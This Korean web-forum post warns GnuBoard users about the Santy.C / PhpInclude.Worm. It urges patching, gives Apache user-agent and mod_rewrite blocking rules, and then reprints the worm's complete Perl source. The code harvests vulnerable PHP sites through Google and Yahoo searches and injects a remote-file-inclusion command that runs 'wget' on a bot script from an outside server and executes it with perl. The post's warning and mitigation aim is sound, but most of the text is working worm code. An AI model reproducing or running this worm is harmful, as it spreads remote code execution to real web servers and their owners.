그누보드 사용자들 필히 4.3.10 으로 업데이트 하시기 바랍니다. > 그누3질답

그누3질답

그누보드 사용자들 필히 4.3.10 으로 업데이트 하시기 바랍니다. 정보

그누보드 그누보드 사용자들 필히 4.3.10 으로 업데이트 하시기 바랍니다.

본문

기존의 Santy 웜은 phpBB라는 게시판 프로그램을 사용하는 곳만을 공격하였으나, 새로나온 Santy.C 변형은
PHP를 사용하는 모든 게시판을 공격하도록 수정되었습니다.

PHP 게시판 프로그래머가 보안상의 결함이 있는 형태(include 함수를 취약하게 사용한 경우)로 프로그램을
짠 경우, Santy.C 웜에 공격당하게 됩니다.

Santy.C는 구글 브라질 사이트를 이용해 공격 대상을 찾아낸 후 해당 게시판이 사용하는
인자(parameter)에 자신이 원하는 명령어를 대입시키는 형태로 웜에 감염시킵니다(이런 공격 기법은
기존에 해커들이 즐겨 사용하던 기법으로, 바이러스, 웜, 해킹의 경계가 나날이 모호해지고 있음을 잘
보여주고 있다고 하겠습니다)
참고 자료 : http://www.securityfocus.com/archive/1/385463/2004-12-23/2004-12-29/0

국내에서 많이 사용되는 제로보드, 그누보드라는 게시판도 역시 Santy.C의 공격에 취약합니다. 해당
게시판 사용자는 최근 발표된 취약점 패치를 반드시 적용하여야 합니다.

이 웜의 독특한 공격 방식으로 인해 기존에 취약점이 발견되지 않은 게시판의 경우에도 공격당할 수
있으니 주의가 필요합니다.

Apache 사용자라면 다음의 2가지 방법 중 하나를 사용하여 공격에 대처할 수 있습니다.

방법 1.  환경 설정 파일(httpd.conf) 수정
SetEnvIf User-Agent "LWP::" get_lost
SetEnvIf User-Agent "lwp-trivial" get_lost

<Directory /*>
Order Allow,Deny
Deny from env=get_lost
Allow from all
</Directory>

방법 2. mod_rewirte 사용
<Directory /*>
RewriteEngine On
RewriteCond %{QUERY_STRING} ^(.*)spy\.gif(.*)
RewriteRule ^.*$ - [F]
</Directory>

참고로 해외 보안 업체가 분석한 웜의 개괄적인 소스를 덧붙입니다.
http://www.k-otik.com/exploits/20041225.PhpIncludeWorm.php

그누보드 패치만 해서 해결되지 않습니다.

반드시 해당 php버전을 업데이트 하시기 바랍니다.

이하는 해당 익스 플로잇 분석소스입니다..
이미 외국에서 퍼져있으므로 당분간 지속적인 해킹시도가 있을것으로 판단됩니다.
=====================================================================================================
Note from K-OTik Security : This worm does not have enough similarities with Santy, thus we renamed
this version to PhpInclude.Worm. It targets ANY .PHP page/script vulnerable to a remote file inclusion
(programming) flaw [these vulnerabilities are independent from the PHP version, they result from
common coding mistakes] - Alert : http://www.k-otik.com/news/20041226.PhpIncludeWorm.php

Update : Antivirus vendors have adopted new nomenclatures to these variants to reflect the differences
            between this and the Santy familiy [now : PhpInclude.Worm, Spyki or Lexac].

#!/usr/bin/perl

use LWP::Simple;
use IO::Socket::INET;

while(1){
$numr = int rand(9999);
$caxe = ".";
$caxe1 = ".";
$caxe .= rand(9999);
$caxe1 .= rand(9999);
$arq = ".";
$arq = int rand(9999);

open(sites,">$arq");
print sites "";
close(sites);


$procura = 'inurl:*.php?*=' . $numr;

for($n=0;$n<900;$n += 10){
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort
=> 80, Proto => "tcp") or next;
print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n";
@resu = <$sock>;
close($sock);
$ae = "@resu";
while ($ae=~ m/<a href=.*?>.*?<\/a>/){
$ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
$uber=$1;
if ($uber !~/translate/)
{
if ($uber !~ /cache/)
{
if ($uber !~ /"/)
{
if ($uber !~ /google/)
{
if ($uber !~ /216/)
{
if ($uber =~/http/)
{
if ($uber !~ /start=/)
{
open(arq,">>$arq");
print arq "$uber\n";
close(arq);
}}}}}}}}}


for($cadenu=1;$cadenu <= 991; $cadenu +=10){

@cade = get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1
&pstart=1&b=$cadenu") or next;
$ae = "@cade";

while ($ae=~ m/<em class=yschurl>.*?<\/em>/){
$ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/;
$uber=$1;

$uber =~ s/ //g;
$uber =~ s/<b>//g;
$uber =~ s/<\/b>//g;

open(a,">>$arq");
print a "$uber\n";
close(a);
}}

$ark = $arq;
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo ="";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);


$a =0;
$b =0;
open(ae,"<$arq");
while(<ae>)
{$sites[$a] = $_;
chomp $sites[$a];
$a++;
$b++;}
close(ae);

for ($a=0;$a<=$b;$a++){
open (file, ">$caxe");
print file "";
close(file);
open (file, ">$caxe1");
print file "";
close(file);
$k=0;
$e=0;
$data=get($sites[$a]) or next;
while($data=~ m/<a href=".*?">.*?<\/a>/){
$data=~ s/<a href="(.*?)">.*?<\/a>/$1/;
$ubersite=$1;

if ($ubersite =~/"/)
{
$nu = index $ubersite, '"';
$ubersite = substr($ubersite,0,$nu);
}
if ($ubersite !~/http/)
{$ubersite = $sites[$a].'/'.$ubersite;}
open(file,">>$caxe") || die("nao abriu caxe.txt $!");
print file "$ubersite\n";
close(file);
}

$lista1 = 'http://server/spy.gif?&cmd=cd /tmp;wget www.server.tld/spybot.txt; perl spybot.txt';
# Other filenames included with this and other variants :
# adfkgnnodfijg
# bot
# bot.txt
# bot.txt.1
# dry.scp
# ssh.a
# terrorbot.txt
# terrorbot.txt.1
# terrorworm.txt
# terrorworm.txt.1
# unbot.txt
# unbot.txt.1
# unbot.txt.2
# unbot.txt.3
# unworm.txt
# unworm.txt.1
# unworm.txt.2
# unworm.txt.3
# worm1.txt
# worm.txt
# worm.txt.1
$t =0;
$y =0;
@ja;
open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt";
while (<opa>)
{
$ja[$t] = $_;
chomp $ja[$t];
$t++;
$y++;
}
close(opa);
$t=1;
while ($t < $y)
{
if ($ja[$t] =~/=/)
{
$num = rindex $ja[$t], '=';
$num += 1;
$ja[$t] = substr($ja[$t],0,$num);
open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
print jaera "$ja[$t]$lista1\n";
close(jaera);
$num = index $ja[$t], '=';
$num += 1;
$ja[$t] = substr($ja[$t],0,$num);
$num1 = rindex $ja[$t], '.';
$subproc = substr($ja[$t],$num1,$num);

open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
print jaera "$ja[$t]$lista1\n";
close(jaera);
}
$t++;
}
$ark = "$caxe1";
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo ="";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);
$q=0;
$w=0;
@hot;
open (ops,"<$caxe1");
while(<ops>)
{
$hot[$q] = $_;
chomp $hot[$q];
$q++;
$w++;
}
close(ops);

for($q=0;$q<=$w;$q++)
{

if ($hot[$q] =~/http/)
{
$tipo=get($hot[$q]) or next;
}}
}
}
======================================================================================================
  • 복사

댓글 전체

위의 소스중
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort
=> 80, Proto => "tcp") or next;
라는 곳에서 원제작자가 브라질 해커라는것을 알수있으며..
그누보드 해커한 사람에서와같이 맥시코 스크립키드에 의해서 한국 그누보드가 대거 index변조 되고 있는거 같군요.

또한  야후에서도 동일한 방법으로 웜을 변조 한것도 보입니다.
@cade = get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1
&pstart=1&b=$cadenu") or next;

더욱.. 해당 관련 싸이트를 수집하는 것이 흥미롭습니다.
© SIRSOFT
현재 페이지 제일 처음으로